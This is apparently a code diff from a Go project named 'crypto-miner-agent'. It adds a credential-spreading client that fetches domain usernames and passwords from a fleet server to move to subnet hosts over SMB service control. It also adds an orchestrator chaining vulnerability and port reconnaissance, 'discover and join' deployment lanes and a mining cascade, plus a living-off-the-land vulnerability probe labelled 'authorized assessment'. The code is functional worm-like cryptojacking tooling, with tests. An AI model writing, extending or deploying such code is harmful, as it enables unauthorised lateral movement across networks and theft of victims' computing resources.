||||
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||
"token": "tok-1",
|
||||
"profile_id": "profile-a",
|
||||
})
|
||||
})
|
||||
mux.HandleFunc("/api/v1/agent/spread-cred/redeem", func(w http.ResponseWriter, r *http.Request) {
|
||||
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||
"profile_id": "profile-a",
|
||||
"username": `lab\ops`,
|
||||
"password": "secret",
|
||||
})
|
||||
})
|
||||
mux.HandleFunc("/api/v1/agent/spread-cred/report", func(w http.ResponseWriter, r *http.Request) {
|
||||
_ = json.NewDecoder(r.Body).Decode(&captured)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write([]byte(`{"ok":true}`))
|
||||
})
|
||||
srv := httptest.NewServer(mux)
|
||||
defer srv.Close()
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
ServerURL: srv.URL,
|
||||
FleetSecret: "fleet-test",
|
||||
},
|
||||
AgentID: "agent-1",
|
||||
}
|
||||
c := NewAgentClient(cfg)
|
||||
session, err := c.acquireSpreadCred("10.0.0.5", "10.0.0", "smb_scm")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if session.ProfileID != "profile-a" || session.Username == "" || session.Password == "" {
|
||||
t.Fatalf("unexpected session: %#v", session)
|
||||
}
|
||||
c.reportSpreadCredEdge(deploy.SpreadCredReport{
|
||||
Host: "10.0.0.5",
|
||||
Subnet: "10.0.0",
|
||||
ProfileID: "profile-a",
|
||||
Method: "smb_scm",
|
||||
Success: true,
|
||||
})
|
||||
if captured["credential_profile_id"] != "profile-a" || captured["success"] != true {
|
||||
t.Fatalf("expected report payload, got %#v", captured)
|
||||
}
|
||||
}
|
||||
@@ -62,6 +62,28 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
|
||||
if vr := RunVulnLOTLProbe(); vr != nil {
|
||||
score := vr.RiskScore
|
||||
r.VulnRiskScore = &score
|
||||
if len(vr.Findings) > 0 {
|
||||
r.VulnFindings = make([]struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}, len(vr.Findings))
|
||||
for i, f := range vr.Findings {
|
||||
r.VulnFindings[i].CVEID = f.CVEID
|
||||
r.VulnFindings[i].Severity = f.Severity
|
||||
r.VulnFindings[i].Component = f.Component
|
||||
r.VulnFindings[i].Patched = f.Patched
|
||||
r.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
|
||||
r.VulnFindings[i].Detail = f.Detail
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
if r.Environment == nil {
|
||||
|
||||
@@ -23,6 +23,15 @@ type FullSysCheckReport struct {
|
||||
Environment *SysCheckEnvironment `json:"environment,omitempty"`
|
||||
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
|
||||
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
} `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
|
||||
RawSysinfo string `json:"raw_sysinfo,omitempty"`
|
||||
RawIPConfig string `json:"raw_ipconfig,omitempty"`
|
||||
|
||||
179
agent/client/triple_onion_chain.go
Normal file
179
agent/client/triple_onion_chain.go
Normal file
@@ -0,0 +1,179 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if !c.triplePolicyLoaded {
|
||||
return miner.DefaultTripleOnionPolicy()
|
||||
}
|
||||
return miner.NormalizeTripleOnionPolicy(c.triplePolicy)
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p miner.TripleOnionPolicy
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
|
||||
c.triplePolicyLoaded = true
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
|
||||
c := r.client
|
||||
policy := c.tripleOnionPolicy()
|
||||
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
||||
RunReconTier: r.runReconTier,
|
||||
RunDeployLane: r.runDeployLane,
|
||||
RunMining: r.startMiningCascade,
|
||||
ReportEvent: r.reportOnionEvent,
|
||||
})
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult {
|
||||
switch tier {
|
||||
case "kev_scan":
|
||||
return r.reconKEVScan()
|
||||
case "vuln_recon", "vuln_probe":
|
||||
return r.reconVulnProbe()
|
||||
case "service_probe":
|
||||
return r.reconServiceProbe()
|
||||
case "listen_ports":
|
||||
return r.reconListenPorts()
|
||||
default:
|
||||
return miner.ReconTierResult{OK: false, Error: "unknown recon tier"}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult {
|
||||
patch := collectPatchStatus()
|
||||
ports := collectListenPorts()
|
||||
var sec *SysCheckSecurity
|
||||
if p := collectPosture(); p != nil {
|
||||
sec = securityFromPosture(p)
|
||||
}
|
||||
kev := scanKEVExposure(patch, ports, sec)
|
||||
if kev == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"}
|
||||
}
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
RiskScore: kev.RiskScore,
|
||||
CriticalExposed: kev.CriticalCount,
|
||||
ExposedCount: kev.ExposedCount,
|
||||
LikelyCount: kev.LikelyCount,
|
||||
Details: map[string]interface{}{
|
||||
"summary": kev.Summary,
|
||||
"findings": len(kev.Findings),
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult {
|
||||
p := collectPosture()
|
||||
if p == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"}
|
||||
}
|
||||
count := len(p.Services)
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
ServiceCount: count,
|
||||
Details: map[string]interface{}{
|
||||
"posture_score": p.PostureScore,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult {
|
||||
ports := collectListenPorts()
|
||||
if ports == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"}
|
||||
}
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
OpenPortCount: ports.Count,
|
||||
Details: map[string]interface{}{
|
||||
"port_count": ports.Count,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult {
|
||||
report := RunVulnLOTLProbe()
|
||||
if report == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"}
|
||||
}
|
||||
critical := 0
|
||||
for _, f := range report.Findings {
|
||||
if f.Severity == "critical" && !f.Patched {
|
||||
critical++
|
||||
}
|
||||
}
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
RiskScore: report.RiskScore,
|
||||
CriticalExposed: critical,
|
||||
ExposedCount: report.ExposedCount,
|
||||
LikelyCount: report.CriticalCount,
|
||||
Details: map[string]interface{}{
|
||||
"summary": report.Summary,
|
||||
"findings": len(report.Findings),
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) {
|
||||
c := r.client
|
||||
if lane == "discover_and_join" {
|
||||
msg, err := c.runDiscoverAndJoin(8)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
return true, msg
|
||||
}
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
return deploy.TryDiscoverJoinLane(cfg, lane)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) {
|
||||
c := r.client
|
||||
payload, err := json.Marshal(struct {
|
||||
miner.TripleOnionReport
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
TripleOnionReport: report,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil {
|
||||
log.Printf("[triple-onion] %s notify failed: %v", eventType, err)
|
||||
}
|
||||
r.mu.Lock()
|
||||
r.onionAttempts = report.Attempts
|
||||
r.mu.Unlock()
|
||||
}
|
||||
60
agent/client/vuln_scan.go
Normal file
60
agent/client/vuln_scan.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
)
|
||||
|
||||
var (
|
||||
vulnScanMu sync.RWMutex
|
||||
lastVulnReport *vulnprobe.ScanReport
|
||||
)
|
||||
|
||||
func listeningPortMap(lp *ListenPortsReport) map[int]bool {
|
||||
m := make(map[int]bool)
|
||||
if lp == nil {
|
||||
return m
|
||||
}
|
||||
for _, p := range lp.Ports {
|
||||
m[p.Port] = true
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// vulnprobeProbeHost is overridden in tests to inject mocked probe output.
|
||||
var vulnprobeProbeHost = func(ports map[int]bool, osVersion string) vulnprobe.HostContext {
|
||||
return vulnprobe.ProbeHost(ports, osVersion)
|
||||
}
|
||||
|
||||
// RunVulnLOTLProbe executes read-only LOTL vulnerability recon (authorized assessment).
|
||||
func RunVulnLOTLProbe() *vulnprobe.ScanReport {
|
||||
ports := collectListenPorts()
|
||||
ctx := vulnprobeProbeHost(listeningPortMap(ports), deploy.HostOSVersion())
|
||||
if patch := collectPatchStatus(); patch != nil {
|
||||
if patch.LastPatchDays != nil {
|
||||
ctx.LastPatchDays = *patch.LastPatchDays
|
||||
}
|
||||
if patch.LastPatch != nil {
|
||||
ctx.LastPatch = *patch.LastPatch
|
||||
}
|
||||
}
|
||||
report := vulnprobe.Run(ctx)
|
||||
vulnScanMu.Lock()
|
||||
lastVulnReport = report
|
||||
vulnScanMu.Unlock()
|
||||
return report
|
||||
}
|
||||
|
||||
// LastVulnScan returns the most recent cached vulnerability report.
|
||||
func LastVulnScan() *vulnprobe.ScanReport {
|
||||
vulnScanMu.RLock()
|
||||
defer vulnScanMu.RUnlock()
|
||||
if lastVulnReport == nil {
|
||||
return nil
|
||||
}
|
||||
dup := *lastVulnReport
|
||||
dup.Findings = append([]vulnprobe.VulnFinding(nil), lastVulnReport.Findings...)
|
||||
return &dup
|
||||
}
|
||||
32
agent/client/vuln_scan_test.go
Normal file
32
agent/client/vuln_scan_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
)
|
||||
|
||||
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
|
||||
SetPostureCollector(func() *PostureReport { return nil })
|
||||
defer SetPostureCollector(nil)
|
||||
|
||||
origProbe := vulnprobeProbeHost
|
||||
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {
|
||||
return vulnprobe.HostContext{
|
||||
Platform: "windows",
|
||||
ExchangeInstalled: true,
|
||||
LastPatchDays: 150,
|
||||
ListeningPorts: map[int]bool{443: true},
|
||||
}
|
||||
}
|
||||
defer func() { vulnprobeProbeHost = origProbe }()
|
||||
|
||||
report := RunVulnLOTLProbe()
|
||||
if report == nil || len(report.Findings) == 0 {
|
||||
t.Fatal("expected vuln findings from mocked probe")
|
||||
}
|
||||
cached := LastVulnScan()
|
||||
if cached == nil || cached.RiskScore != report.RiskScore {
|
||||
t.Fatalf("cache mismatch: %+v vs %+v", cached, report)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user